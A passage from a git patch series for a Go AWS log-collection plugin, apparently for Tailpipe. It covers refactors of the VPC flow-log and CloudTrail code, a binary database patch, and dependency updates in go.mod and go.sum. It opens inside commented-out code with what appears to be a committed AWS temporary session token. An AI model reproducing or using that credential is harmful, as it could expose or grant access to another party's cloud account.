"IQoJb3JpZ2luX2VjEOf//////////wEaCXVzLWVhc3QtMiJIMEYCIQCMQtQOXk2UvNDtrKpGVv/KpXph86EJ8LVnGK+RZM5epQIhAO3oruAIomKUK8ljVNcQrBL7CtkkHJsSboBX9FrF/pwUKo8DCMD//////////wEQAxoMMDk3MzUwODc2NDU1Igxp82/qL0ja9Ki1M90q4wLDWC+4stlMrQYQV2hGIZXekIRClllYiwyzModW5cx1lVDnp1s1Twnm2eDcA707NzMX5v5k6p+A2svLx6JUg2ymGOBHB067IyanCXNCzGK/+FG+Ec2L419r2Jt+sxspvNthcQhkVFAPIkdFBCr0cdcIc60IrVF5TCHhsf94bQHRE/NXGwwZeeUZiXCaz6QQDsr56+p/bGHR1QTxLfwZWSNs/tI1IuTRaiBk0LOfACgWAYWq5VWwDQbqoYCIBOU+rpH/YNNmsUgQQbIS9VKbu2vuAoUeXuOiST2J5YRriX+potowmnICtkEFuIAfpuYz6uA4xwT3fOtQNjs3dEfKjus7ZrFv0oO3PtUHWGC3Nsn0y2/jkwYlasTekfKNd0Wz/cnKwEjtNWWFw1+MXNbocGc9lBulmN4StMOTUI/jQdlm3tXJ861CD+4Qm23aulw9IFZODdL7dHcHx1gIPAsNt1qeXEgOMIvLibUGOqUBBoIM4Qt+VO0jO/1Li4WEfPB/Pd3+D12VaPwC7503YtNEaZOg9SmWeXht/G9Fq6B+bUsNrA0ADAFLotr4QZZsUST2BJU5lf3vAIbi9tH4WUMzY4kK7huqax3TICN7kuRO/kxbWvXyeqTPOayi47xgEOc5YiRhyuyjZfwxpZdJVxvOG+AOoqbhphRe9DvbVhUylrKDj0FpH93zuDOYUl0a7PCBM1ns", +// LogGroupName: "/victor/vpc/flowlog", +// LogStreamPrefix: utils.ToStringPointer("eni"), +// StartTime: time.Now().Add(-time.Hour * 24), +// EndTime: time.Now(), +// } +// +// artifactSource, err := artifact.NewAwsCloudWatchSource(ctx, srcConfig) +// +// // create empty paging data to pass to source +// // TODO maybe source creates for itself?? +// pagingData, err := c.GetPagingDataSchema() +// if err != nil { +// return nil, fmt.Errorf("error creating paging data: %w", err) +// } +// +// source, err := row_source.NewArtifactRowSource( +// artifactSource, +// pagingData, +// // we expect a log row per line of log data +// row_source.WithRowPerLine(), +// ) +// if err != nil { +// return nil, fmt.Errorf("error creating artifact row source: %w", err) +// } +// +// return source, nil +//} diff --git a/aws_collection/vpc_flow_log_collection_config.go b/aws_collection/vpc_flow_log_collection_config.go index 547e9b75..6c372014 100644 --- a/aws_collection/vpc_flow_log_collection_config.go +++ b/aws_collection/vpc_flow_log_collection_config.go @@ -18,16 +18,15 @@ var DefaultFlowLogFields = []string{ } type VpcFlowLogCollectionConfig struct { - // the path to the flow log files - Paths []string `hcl:"paths"` - // the fields to extract from the flow log Fields []string `hcl:"fields"` } -func (c *VpcFlowLogCollectionConfig) Init() error { +func (c VpcFlowLogCollectionConfig) Validate() error { + // set default fields if none are specified if len(c.Fields) == 0 { c.Fields = DefaultFlowLogFields } + return nil } diff --git a/aws_source/cloudtrail_mapper.go b/aws_source/cloudtrail_mapper.go index 49273e22..13a9e91a 100644 --- a/aws_source/cloudtrail_mapper.go +++ b/aws_source/cloudtrail_mapper.go @@ -14,7 +14,7 @@ type CloudtrailMapper struct { } // NewCloudtrailMapper creates a new CloudtrailMapper -func NewCloudtrailMapper() *CloudtrailMapper { +func NewCloudtrailMapper() artifact.Mapper { return &CloudtrailMapper{} } diff --git a/data/paging/paging.db b/data/paging/paging.db new file mode 100644 index 0000000000000000000000000000000000000000..55e69e7ac51f6eefb26156241c378bebfb7124ed GIT binary patch literal 274432 zcmeI)J!?}@7y#h+_KSju9b5bZP9iK!5-N0t5&U zAV7e?bO~I1`gZ%xyY~lG+MmZvBWCi*%7<3W?bbWpPDJW$q_*^F#=?_&yVGq?`g>JV zKgw}=Tx#s?>@*wuoxSc>x4zqKmdz_g(T>)C)EQ&$Qlb~T&)!gc`TwB zU(OHfr3zxYuF-A@5FkK+009C72oNAZfWS!v%A7sr+<8PZvS9+ Date: Tue, 30 Jul 2024 08:56:44 +0100 Subject: [PATCH 031/180] working on it --- go.mod | 49 +++++++++++++++----- go.sum | 138 +++++++++++++++++++++++++++++++++++++++++++-------------- 2 files changed, 141 insertions(+), 46 deletions(-) diff --git a/go.mod b/go.mod index fada07f9..0053c44b 100644 --- a/go.mod +++ b/go.mod @@ -11,13 +11,16 @@ replace github.com/turbot/pipe-fittings => ../pipe-fittings require github.com/turbot/tailpipe-plugin-sdk v0.0.0 require ( - cloud.google.com/go v0.112.1 // indirect - cloud.google.com/go/compute v1.25.1 // indirect - cloud.google.com/go/compute/metadata v0.2.3 // indirect - cloud.google.com/go/iam v1.1.6 // indirect - cloud.google.com/go/storage v1.38.0 // indirect + cloud.google.com/go v0.115.0 // indirect + cloud.google.com/go/auth v0.7.2 // indirect + cloud.google.com/go/auth/oauth2adapt v0.2.3 // indirect + cloud.google.com/go/compute/metadata v0.5.0 // indirect + cloud.google.com/go/iam v1.1.10 // indirect + cloud.google.com/go/storage v1.41.0 // indirect github.com/Masterminds/semver/v3 v3.2.1 // indirect github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d // indirect + github.com/agext/levenshtein v1.2.3 // indirect + github.com/apparentlymart/go-textseg/v15 v15.0.0 // indirect github.com/aws/aws-sdk-go v1.44.183 // indirect github.com/aws/aws-sdk-go-v2 v1.30.3 // indirect github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.3 // indirect @@ -38,38 +41,56 @@ require ( github.com/aws/aws-sdk-go-v2/service/ssooidc v1.26.4 // indirect github.com/aws/aws-sdk-go-v2/service/sts v1.30.3 // indirect github.com/aws/smithy-go v1.20.3 // indirect + github.com/briandowns/spinner v1.23.0 // indirect github.com/btubbs/datetime v0.1.1 // indirect github.com/fatih/color v1.15.0 // indirect github.com/felixge/httpsnoop v1.0.4 // indirect + github.com/gabriel-vasile/mimetype v1.4.2 // indirect github.com/gertd/go-pluralize v0.2.1 // indirect - github.com/go-logr/logr v1.4.1 // indirect + github.com/go-logr/logr v1.4.2 // indirect github.com/go-logr/stdr v1.2.2 // indirect github.com/go-ole/go-ole v1.2.6 // indirect + github.com/go-playground/locales v0.14.1 // indirect + github.com/go-playground/universal-translator v0.18.1 // indirect + github.com/go-playground/validator/v10 v10.15.5 // indirect github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect github.com/golang/protobuf v1.5.4 // indirect github.com/google/go-cmp v0.6.0 // indirect github.com/google/s2a-go v0.1.7 // indirect github.com/google/uuid v1.6.0 // indirect github.com/googleapis/enterprise-certificate-proxy v0.3.2 // indirect - github.com/googleapis/gax-go/v2 v2.12.2 // indirect + github.com/googleapis/gax-go/v2 v2.13.0 // indirect + github.com/hashicorp/errwrap v1.1.0 // indirect github.com/hashicorp/go-cleanhttp v0.5.2 // indirect github.com/hashicorp/go-hclog v1.6.2 // indirect + github.com/hashicorp/go-multierror v1.1.1 // indirect github.com/hashicorp/go-plugin v1.6.1 // indirect + github.com/hashicorp/hcl/v2 v2.20.0 // indirect github.com/hashicorp/yamux v0.1.1 // indirect github.com/hokaccha/go-prettyjson v0.0.0-20211117102719-0474bc63780f // indirect github.com/iancoleman/strcase v0.3.0 // indirect github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/jackc/chunkreader/v2 v2.0.1 // indirect + github.com/jackc/pgconn v1.14.3 // indirect + github.com/jackc/pgio v1.0.0 // indirect + github.com/jackc/pgpassfile v1.0.0 // indirect + github.com/jackc/pgproto3/v2 v2.3.3 // indirect + github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect github.com/jmespath/go-jmespath v0.4.0 // indirect + github.com/karrick/gows v0.3.0 // indirect + github.com/leodido/go-urn v1.2.4 // indirect github.com/logrusorgru/aurora v2.0.3+incompatible // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.19 // indirect github.com/mattn/go-runewidth v0.0.13 // indirect github.com/mitchellh/go-homedir v1.1.0 // indirect github.com/mitchellh/go-testing-interface v1.14.1 // indirect + github.com/mitchellh/go-wordwrap v1.0.0 // indirect github.com/mitchellh/mapstructure v1.5.0 // indirect github.com/oklog/run v1.0.0 // indirect github.com/olekukonko/tablewriter v0.0.5 // indirect github.com/rivo/uniseg v0.2.0 // indirect + github.com/shiena/ansicolor v0.0.0-20230509054315-a9deabde6e02 // indirect github.com/shirou/gopsutil v3.21.11+incompatible // indirect github.com/spf13/cobra v1.7.0 // indirect github.com/spf13/pflag v1.0.5 // indirect @@ -78,7 +99,9 @@ require ( github.com/tkrajina/go-reflector v0.5.6 // indirect github.com/turbot/go-kit v0.10.0-rc.0 // indirect github.com/turbot/steampipe-plugin-code v0.7.0 // indirect + github.com/turbot/terraform-components v0.0.0-20231108031935-358f803c1a8b // indirect github.com/yusufpapurcu/wmi v1.2.2 // indirect + github.com/zclconf/go-cty v1.14.3 // indirect go.opencensus.io v0.24.0 // indirect go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.49.0 // indirect go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.49.0 // indirect @@ -87,16 +110,18 @@ require ( go.opentelemetry.io/otel/trace v1.24.0 // indirect golang.org/x/crypto v0.25.0 // indirect golang.org/x/exp v0.0.0-20231006140011-7918f672742d // indirect + golang.org/x/mod v0.17.0 // indirect golang.org/x/net v0.27.0 // indirect - golang.org/x/oauth2 v0.18.0 // indirect + golang.org/x/oauth2 v0.21.0 // indirect golang.org/x/sync v0.7.0 // indirect golang.org/x/sys v0.22.0 // indirect + golang.org/x/term v0.22.0 // indirect golang.org/x/text v0.16.0 // indirect golang.org/x/time v0.5.0 // indirect - google.golang.org/api v0.169.0 // indirect - google.golang.org/appengine v1.6.8 // indirect - google.golang.org/genproto v0.0.0-20240213162025-012b6fc9bca9 // indirect - google.golang.org/genproto/googleapis/api v0.0.0-20240318140521-94a12d6c2237 // indirect + golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect + google.golang.org/api v0.189.0 // indirect + google.golang.org/genproto v0.0.0-20240722135656-d784300faade // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20240722135656-d784300faade // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20240722135656-d784300faade // indirect google.golang.org/grpc v1.64.1 // indirect google.golang.org/protobuf v1.34.2 // indirect diff --git a/go.sum b/go.sum index c66281fd..5d82b7c6 100644 --- a/go.sum +++ b/go.sum @@ -1,19 +1,29 @@ cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -cloud.google.com/go v0.112.1 h1:uJSeirPke5UNZHIb4SxfZklVSiWWVqW4oXlETwZziwM= -cloud.google.com/go v0.112.1/go.mod h1:+Vbu+Y1UU+I1rjmzeMOb/8RfkKJK2Gyxi1X6jJCZLo4= -cloud.google.com/go/compute v1.25.1 h1:ZRpHJedLtTpKgr3RV1Fx23NuaAEN1Zfx9hw1u4aJdjU= -cloud.google.com/go/compute v1.25.1/go.mod h1:oopOIR53ly6viBYxaDhBfJwzUAxf1zE//uf3IB011ls= -cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY= -cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA= -cloud.google.com/go/iam v1.1.6 h1:bEa06k05IO4f4uJonbB5iAgKTPpABy1ayxaIZV/GHVc= -cloud.google.com/go/iam v1.1.6/go.mod h1:O0zxdPeGBoFdWW3HWmBxJsk0pfvNM/p/qa82rWOGTwI= -cloud.google.com/go/storage v1.38.0 h1:Az68ZRGlnNTpIBbLjSMIV2BDcwwXYlRlQzis0llkpJg= -cloud.google.com/go/storage v1.38.0/go.mod h1:tlUADB0mAb9BgYls9lq+8MGkfzOXuLrnHXlpHmvFJoY= +cloud.google.com/go v0.115.0 h1:CnFSK6Xo3lDYRoBKEcAtia6VSC837/ZkJuRduSFnr14= +cloud.google.com/go v0.115.0/go.mod h1:8jIM5vVgoAEoiVxQ/O4BFTfHqulPZgs/ufEzMcFMdWU= +cloud.google.com/go/auth v0.7.2 h1:uiha352VrCDMXg+yoBtaD0tUF4Kv9vrtrWPYXwutnDE= +cloud.google.com/go/auth v0.7.2/go.mod h1:VEc4p5NNxycWQTMQEDQF0bd6aTMb6VgYDXEwiJJQAbs= +cloud.google.com/go/auth/oauth2adapt v0.2.3 h1:MlxF+Pd3OmSudg/b1yZ5lJwoXCEaeedAguodky1PcKI= +cloud.google.com/go/auth/oauth2adapt v0.2.3/go.mod h1:tMQXOfZzFuNuUxOypHlQEXgdfX5cuhwU+ffUuXRJE8I= +cloud.google.com/go/compute/metadata v0.5.0 h1:Zr0eK8JbFv6+Wi4ilXAR8FJ3wyNdpxHKJNPos6LTZOY= +cloud.google.com/go/compute/metadata v0.5.0/go.mod h1:aHnloV2TPI38yx4s9+wAZhHykWvVCfu7hQbF+9CWoiY= +cloud.google.com/go/iam v1.1.10 h1:ZSAr64oEhQSClwBL670MsJAW5/RLiC6kfw3Bqmd5ZDI= +cloud.google.com/go/iam v1.1.10/go.mod h1:iEgMq62sg8zx446GCaijmA2Miwg5o3UbO+nI47WHJps= +cloud.google.com/go/logging v1.11.0 h1:v3ktVzXMV7CwHq1MBF65wcqLMA7i+z3YxbUsoK7mOKs= +cloud.google.com/go/logging v1.11.0/go.mod h1:5LDiJC/RxTt+fHc1LAt20R9TKiUTReDg6RuuFOZ67+A= +cloud.google.com/go/longrunning v0.5.9 h1:haH9pAuXdPAMqHvzX0zlWQigXT7B0+CL4/2nXXdBo5k= +cloud.google.com/go/longrunning v0.5.9/go.mod h1:HD+0l9/OOW0za6UWdKJtXoFAX/BGg/3Wj8p10NeWF7c= +cloud.google.com/go/storage v1.41.0 h1:RusiwatSu6lHeEXe3kglxakAmAbfV+rhtPqA6i8RBx0= +cloud.google.com/go/storage v1.41.0/go.mod h1:J1WCa/Z2FcgdEDuPUY8DxT5I+d9mFKsCepp5vR6Sq80= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/Masterminds/semver/v3 v3.2.1 h1:RN9w6+7QoMeJVGyfmbcgs28Br8cvmnucEXnY0rYXWg0= github.com/Masterminds/semver/v3 v3.2.1/go.mod h1:qvl/7zhW3nngYb5+80sSMF+FG2BjYrf8m9wsX0PNOMQ= github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d h1:licZJFw2RwpHMqeKTCYkitsPqHNxTmd4SNR5r94FGM8= github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d/go.mod h1:asat636LX7Bqt5lYEZ27JNDcqxfjdBQuJ/MM4CN/Lzo= +github.com/agext/levenshtein v1.2.3 h1:YB2fHEn0UJagG8T1rrWknE3ZQzWM06O8AMAatNn7lmo= +github.com/agext/levenshtein v1.2.3/go.mod h1:JEDfjyjHDjOF/1e4FlBE/PkbqA9OfWu2ki2W0IB5558= +github.com/apparentlymart/go-textseg/v15 v15.0.0 h1:uYvfpb3DyLSCGWnctWKGj857c6ew1u1fNQOlOtuGxQY= +github.com/apparentlymart/go-textseg/v15 v15.0.0/go.mod h1:K8XmNZdhEBkdlyDdvbmmsvpAG721bKi0joRfFdHIWJ4= github.com/aws/aws-sdk-go v1.44.183 h1:mUk45JZTIMMg9m8GmrbvACCsIOKtKezXRxp06uI5Ahk= github.com/aws/aws-sdk-go v1.44.183/go.mod h1:aVsgQcEevwlmQ7qHE9I3h+dtQgpqhFB+i8Phjh7fkwI= github.com/aws/aws-sdk-go-v2 v1.30.3 h1:jUeBtG0Ih+ZIFH0F4UkmL9w3cSpaMv9tYYDbzILP8dY= @@ -54,6 +64,8 @@ github.com/aws/aws-sdk-go-v2/service/sts v1.30.3 h1:ZsDKRLXGWHk8WdtyYMoGNO7bTudr github.com/aws/aws-sdk-go-v2/service/sts v1.30.3/go.mod h1:zwySh8fpFyXp9yOr/KVzxOl8SRqgf/IDw5aUt9UKFcQ= github.com/aws/smithy-go v1.20.3 h1:ryHwveWzPV5BIof6fyDvor6V3iUL7nTfiTKXHiW05nE= github.com/aws/smithy-go v1.20.3/go.mod h1:krry+ya/rV9RDcV/Q16kpu6ypI4K2czasz0NC3qS14E= +github.com/briandowns/spinner v1.23.0 h1:alDF2guRWqa/FOZZYWjlMIx2L6H0wyewPxo/CH4Pt2A= +github.com/briandowns/spinner v1.23.0/go.mod h1:rPG4gmXeN3wQV/TsAY4w8lPdIM6RX3yqeBQJSrbXjuE= github.com/btubbs/datetime v0.1.1 h1:KuV+F9tyq/hEnezmKZNGk8dzqMVsId6EpFVrQCfA3To= github.com/btubbs/datetime v0.1.1/go.mod h1:n2BZ/2ltnRzNiz27aE3wUb2onNttQdC+WFxAoks5jJM= github.com/bufbuild/protocompile v0.4.0 h1:LbFKd2XowZvQ/kajzguUp2DC9UEIQhIq77fZZlaQsNA= @@ -75,15 +87,27 @@ github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg= github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= +github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU= +github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA= github.com/gertd/go-pluralize v0.2.1 h1:M3uASbVjMnTsPb0PNqg+E/24Vwigyo/tvyMTtAlLgiA= github.com/gertd/go-pluralize v0.2.1/go.mod h1:rbYaKDbsXxmRfr8uygAEKhOWsjyrrqrkHVpZvoOp8zk= github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= -github.com/go-logr/logr v1.4.1 h1:pKouT5E8xu9zeFC39JXRDukb6JFQPXM5p5I91188VAQ= -github.com/go-logr/logr v1.4.1/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= +github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY= +github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= +github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= +github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= +github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= +github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= +github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= +github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= +github.com/go-playground/validator/v10 v10.15.5 h1:LEBecTWb/1j5TNY1YYG2RcOUN3R7NLylN+x8TTueE24= +github.com/go-playground/validator/v10 v10.15.5/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU= +github.com/go-test/deep v1.1.0 h1:WOcxcdHcvdgThNXjw0t76K42FXTU7HpNQWHpA2HHNlg= +github.com/go-test/deep v1.1.0/go.mod h1:5C2ZWiW0ErCdrYzpqxLbTX7MG14M9iiw8DgHncVwcsE= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE= @@ -98,8 +122,6 @@ github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:W github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= -github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= @@ -108,11 +130,10 @@ github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMyw github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= -github.com/google/martian/v3 v3.3.2 h1:IqNFLAmvJOgVlpdEBiQbDc2EwKW77amAycfTuWKdfvw= -github.com/google/martian/v3 v3.3.2/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= +github.com/google/martian/v3 v3.3.3 h1:DIhPTQrbPkgs2yJYdXU/eNACCG5DVQjySNRNlflZ9Fc= +github.com/google/martian/v3 v3.3.3/go.mod h1:iEPrYcgCF7jA9OtScMFQyAlZZ4YXTKEtJ1E6RWzmBA0= github.com/google/s2a-go v0.1.7 h1:60BLSyTrOV4/haCDW4zb1guZItoSq8foHCXrAnjBo/o= github.com/google/s2a-go v0.1.7/go.mod h1:50CgR4k1jNlWBu4UfS4AcfhVe1r6pdZPygJ3R8F0Qdw= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= @@ -120,14 +141,21 @@ github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/enterprise-certificate-proxy v0.3.2 h1:Vie5ybvEvT75RniqhfFxPRy3Bf7vr3h0cechB90XaQs= github.com/googleapis/enterprise-certificate-proxy v0.3.2/go.mod h1:VLSiSSBs/ksPL8kq3OBOQ6WRI2QnaFynd1DCjZ62+V0= -github.com/googleapis/gax-go/v2 v2.12.2 h1:mhN09QQW1jEWeMF74zGR81R30z4VJzjZsfkUhuHF+DA= -github.com/googleapis/gax-go/v2 v2.12.2/go.mod h1:61M8vcyyXR2kqKFxKrfA22jaA8JGF7Dc8App1U3H6jc= +github.com/googleapis/gax-go/v2 v2.13.0 h1:yitjD5f7jQHhyDsnhKEBU52NdvvdSeGzlAnDPT0hH1s= +github.com/googleapis/gax-go/v2 v2.13.0/go.mod h1:Z/fvTZXF8/uw7Xu5GuslPw+bplx6SS338j1Is2S+B7A= +github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= +github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= github.com/hashicorp/go-hclog v1.6.2 h1:NOtoftovWkDheyUM/8JW3QMiXyxJK3uHRK7wV04nD2I= github.com/hashicorp/go-hclog v1.6.2/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M= +github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= +github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= github.com/hashicorp/go-plugin v1.6.1 h1:P7MR2UP6gNKGPp+y7EZw2kOiq4IR9WiqLvp0XOsVdwI= github.com/hashicorp/go-plugin v1.6.1/go.mod h1:XPHFku2tFo3o3QKFgSYo+cghcUhw1NA1hZyMK0PWAw0= +github.com/hashicorp/hcl/v2 v2.20.0 h1:l++cRs/5jQOiKVvqXZm/P1ZEfVXJmvLS9WSVxkaeTb4= +github.com/hashicorp/hcl/v2 v2.20.0/go.mod h1:WmcD/Ym72MDOOx5F62Ly+leloeu6H7m0pG7VBiU6pQk= github.com/hashicorp/yamux v0.1.1 h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE= github.com/hashicorp/yamux v0.1.1/go.mod h1:CtWFDAQgb7dxtzFs4tWbplKIe2jSi3+5vKbgIO0SLnQ= github.com/hokaccha/go-prettyjson v0.0.0-20211117102719-0474bc63780f h1:7LYC+Yfkj3CTRcShK0KOL/w6iTiKyqqBA9a41Wnggw8= @@ -136,12 +164,37 @@ github.com/iancoleman/strcase v0.3.0 h1:nTXanmYxhfFAMjZL34Ov6gkzEsSJZ5DbhxWjvSAS github.com/iancoleman/strcase v0.3.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= +github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8= +github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= +github.com/jackc/pgconn v1.14.3 h1:bVoTr12EGANZz66nZPkMInAV/KHD2TxH9npjXXgiB3w= +github.com/jackc/pgconn v1.14.3/go.mod h1:RZbme4uasqzybK2RK5c65VsHxoyaml09lx3tXOcO/VM= +github.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE= +github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8= +github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5Wi/+Zz7xoE5ALHsRQlOctkOiHc= +github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= +github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= +github.com/jackc/pgpassfile v1.0.0/go.mod 